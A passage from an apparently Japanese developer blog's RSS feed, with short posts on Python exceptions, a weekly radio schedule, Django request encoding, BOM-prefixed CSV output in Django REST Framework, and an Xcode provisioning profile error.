&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_02_18_124506_create_options_table &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_03_10_093455_update_string_fields_to_text &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2021&lt;/span&gt;_04_09_123358_add_users_deleted_at_field &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#75715e"&gt;----+-------------------------------------------------------+-------+
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;rows&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;002&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Python:Exception</title><link>https://hdknr.github.io/blogs/posts/2021/05/pythonexception/</link><pubDate>Fri, 14 May 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/05/pythonexception/</guid><description>&lt;h1 id="python-exception"&gt;Python: Exception&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://realpython.com/python-exceptions/"&gt;Python Exceptions: An Introduction&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 処理&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; linux_interaction()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;AssertionError&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; error:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 例外&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(error)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;## 例外がない場合&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(&lt;span style="color:#e6db74"&gt;&amp;#39;file.log&amp;#39;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; file:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read_data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; file&lt;span style="color:#f92672"&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FileNotFoundError&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; fnf_error:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(fnf_error)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;finally&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 最後に必ず実行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#39;Cleaning up, irrespective of any exceptions.&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.tutorialspoint.com/python-exception-base-classes"&gt;Python Exception Base Classes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/ja/3/library/exceptions.html"&gt;組み込み例外&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/ja/3/tutorial/errors.html#tut-userexceptions"&gt;8.6. ユーザー定義例外&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Radio</title><link>https://hdknr.github.io/blogs/posts/2021/05/radio/</link><pubDate>Mon, 10 May 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/05/radio/</guid><description>&lt;h1 id="radio"&gt;Radio&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;曜日&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Ch&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;時間&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;番組&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;月&lt;/td&gt;
&lt;td&gt;J-Wave&lt;/td&gt;
&lt;td&gt;22:00 - 24:00&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.j-wave.co.jp/original/sonarmusic/"&gt;SONAR MUSIC&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;月&lt;/td&gt;
&lt;td&gt;NHK&lt;/td&gt;
&lt;td&gt;24:00 - 24:50&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www4.nhk.or.jp/yoruplaylist/"&gt;夜のプレイリスト&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;火&lt;/td&gt;
&lt;td&gt;J-Wave&lt;/td&gt;
&lt;td&gt;22:00 - 24:00&lt;/td&gt;
&lt;td&gt;SONAR MUSIC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;火&lt;/td&gt;
&lt;td&gt;NHK&lt;/td&gt;
&lt;td&gt;24:00 - 24:50&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www4.nhk.or.jp/yoruplaylist/"&gt;夜のプレイリスト&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;水&lt;/td&gt;
&lt;td&gt;J-Wave&lt;/td&gt;
&lt;td&gt;22:00 - 24:00&lt;/td&gt;
&lt;td&gt;SONAR MUSIC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;水&lt;/td&gt;
&lt;td&gt;NHK&lt;/td&gt;
&lt;td&gt;24:00 - 24:50&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www4.nhk.or.jp/yoruplaylist/"&gt;夜のプレイリスト&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;木&lt;/td&gt;
&lt;td&gt;J-Wave&lt;/td&gt;
&lt;td&gt;22:00 - 24:00&lt;/td&gt;
&lt;td&gt;SONAR MUSIC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;木&lt;/td&gt;
&lt;td&gt;NHK&lt;/td&gt;
&lt;td&gt;24:00 - 24:50&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www4.nhk.or.jp/yoruplaylist/"&gt;夜のプレイリスト&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;金 　　&lt;/td&gt;
&lt;td&gt;InterFM 897&lt;/td&gt;
&lt;td&gt;20:00 - 22:00&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.interfm.co.jp/tokyo/"&gt;TOKYO SCENE&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;金&lt;/td&gt;
&lt;td&gt;NHK&lt;/td&gt;
&lt;td&gt;24:00 - 24:50&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www4.nhk.or.jp/yoruplaylist/"&gt;夜のプレイリスト&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;金&lt;/td&gt;
&lt;td&gt;InterFM 897&lt;/td&gt;
&lt;td&gt;24:00 - 25:00&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.interfm.co.jp/beatdayz"&gt;beatDAYZ&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;土&lt;/td&gt;
&lt;td&gt;Fm yokohama84.7&lt;/td&gt;
&lt;td&gt;24:00 - 25:00&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.fmyokohama.co.jp/pc/program/BaysideReggaeLounge2"&gt;Bayside Reggae Lounge&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日&lt;/td&gt;
&lt;td&gt;J-Wave&lt;/td&gt;
&lt;td&gt;20:00 - 21:00&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.j-wave.co.jp/original/travelling/"&gt;Travelling without Moving&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="station"&gt;Station&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://music.apple.com/radio"&gt;Apple Music Radio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bbc.co.uk/sounds"&gt;BBC Sound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nts.live/"&gt;nts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://worldwidefm.net/"&gt;worldwidefm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://soundcloud.com/discover"&gt;soundcloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mixcloud.com/"&gt;mixcloud&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: Request.encodingについて</title><link>https://hdknr.github.io/blogs/posts/2021/04/django-request.encoding%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6/</link><pubDate>Sat, 24 Apr 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/04/django-request.encoding%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6/</guid><description>&lt;h1 id="httprequestencoding"&gt;HttpRequest.encoding&lt;/h1&gt;
&lt;h2 id="djangohttprequesthttprequest"&gt;django.http.request.HttpRequest&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/ja/3/library/cgi.html#cgi.parse_header"&gt;cgi.parse_header&lt;/a&gt; で、Content-Typeヘッダーから content_type と content_params(&lt;code&gt;dict&lt;/code&gt;) を取得。&lt;/li&gt;
&lt;li&gt;conent_paramsに &lt;code&gt;charset&lt;/code&gt; が入っている可能性がある&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.python.org/ja/3/library/codecs.html#codecs.lookup"&gt;codecs.lookup&lt;/a&gt; を使って、&lt;code&gt;charset&lt;/code&gt; の存在を確認。&lt;/li&gt;
&lt;li&gt;存在したらHttpRequest.encodingプロパティに設定する&lt;/li&gt;
&lt;li&gt;実態は, HttpRequest._encoding&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>DRF: CSVを送信するするときに WindowsだとBOMをつけないとExcelで文字化けする問題</title><link>https://hdknr.github.io/blogs/posts/2021/04/drf-csv%E3%82%92%E9%80%81%E4%BF%A1%E3%81%99%E3%82%8B%E3%81%99%E3%82%8B%E3%81%A8%E3%81%8D%E3%81%AB-windows%E3%81%A0%E3%81%A8bom%E3%82%92%E3%81%A4%E3%81%91%E3%81%AA%E3%81%84%E3%81%A8excel%E3%81%A7%E6%96%87%E5%AD%97%E5%8C%96%E3%81%91%E3%81%99%E3%82%8B%E5%95%8F%E9%A1%8C/</link><pubDate>Sat, 24 Apr 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/04/drf-csv%E3%82%92%E9%80%81%E4%BF%A1%E3%81%99%E3%82%8B%E3%81%99%E3%82%8B%E3%81%A8%E3%81%8D%E3%81%AB-windows%E3%81%A0%E3%81%A8bom%E3%82%92%E3%81%A4%E3%81%91%E3%81%AA%E3%81%84%E3%81%A8excel%E3%81%A7%E6%96%87%E5%AD%97%E5%8C%96%E3%81%91%E3%81%99%E3%82%8B%E5%95%8F%E9%A1%8C/</guid><description>&lt;h2 id="bombyte-order-mark"&gt;BOM(byte order mark)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ファイルの先頭3バイトが &lt;strong&gt;&amp;lsquo;EF BB BF&amp;rsquo;&lt;/strong&gt; の UTF-8&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rest_framework_csv"&gt;rest_framework_csv&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;rendererで、 コンテキストの &lt;code&gt;encoding&lt;/code&gt; を判定している&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encoding&lt;/code&gt;に &lt;code&gt;utf-8-sig&lt;/code&gt; を 指定する&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="viewset-get_renderer_context-をオーバーライドする"&gt;viewset: get_renderer_context をオーバーライドする&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_renderer_context&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;(override)&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; context &lt;span style="color:#f92672"&gt;=&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_renderer_context()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ここで、以下の条件の時に utf-8-sigにセット&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 1) text/csv を求めている&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# 2) utf-8 でエンコードが指定されている(デフォルト)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;META&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get(&lt;span style="color:#e6db74"&gt;&amp;#39;HTTP_ACCEPT&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;startswith(&lt;span style="color:#e6db74"&gt;&amp;#39;text/csv&amp;#39;&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; context[&lt;span style="color:#e6db74"&gt;&amp;#39;encoding&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;utf-8-sig&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; context
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/lilpacy/items/977410fc2317446ee455"&gt;bom付きutf-8に変換するnkfコマンド&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/showmurai/items/60d32006d13512ffeaff"&gt;PythonでUTF-8 with BOMを開く&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.w3.org/International/questions/qa-html-encoding-declarations.en"&gt;Declaring character encodings in HTML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.w3.org/International/questions/qa-byte-order-mark"&gt;The byte-order mark (BOM) in HTML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Accept-Encoding"&gt;Accept-Encoding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.djangoproject.com/en/3.2/ref/request-response/#django.http.HttpRequest.META"&gt;HttpRequest.META&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>XCode: A valid provisioning profile for this executable was not found</title><link>https://hdknr.github.io/blogs/posts/2021/04/xcode-a-valid-provisioning-profile-for-this-executable-was-not-found/</link><pubDate>Sat, 24 Apr 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/04/xcode-a-valid-provisioning-profile-for-this-executable-was-not-found/</guid><description>&lt;h2 id="原因"&gt;原因&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;時間がおかしい(有効期限切れ)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Legacy Build System&lt;/code&gt; にする (&lt;code&gt;File &amp;gt;Project Settings...&amp;gt;Build System&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;今回はこれ&lt;/strong&gt;) テスト実機端末のスキーマがおかしい(&lt;code&gt;Products &amp;gt; Schema &amp;gt; Edit Schema&lt;/code&gt; で &lt;code&gt;Run&lt;/code&gt;, &lt;code&gt;Profile&lt;/code&gt; の &lt;code&gt;Build Configuration&lt;/code&gt; を &lt;code&gt;DEBUG&lt;/code&gt; にする)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="librarymobiledeviceprovisioning-profiles"&gt;&lt;code&gt;~/Library/MobileDevice/Provisioning Profiles&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% ls -l ~/Library/MobileDevice/Provisioning&lt;span style="color:#ae81ff"&gt;\ &lt;/span&gt;Profiles
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; hdknr staff &lt;span style="color:#ae81ff"&gt;10352&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; 13:52 0179a51b-7303-4fef-b1a0-4a3cf541b737.mobileprovision
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.....
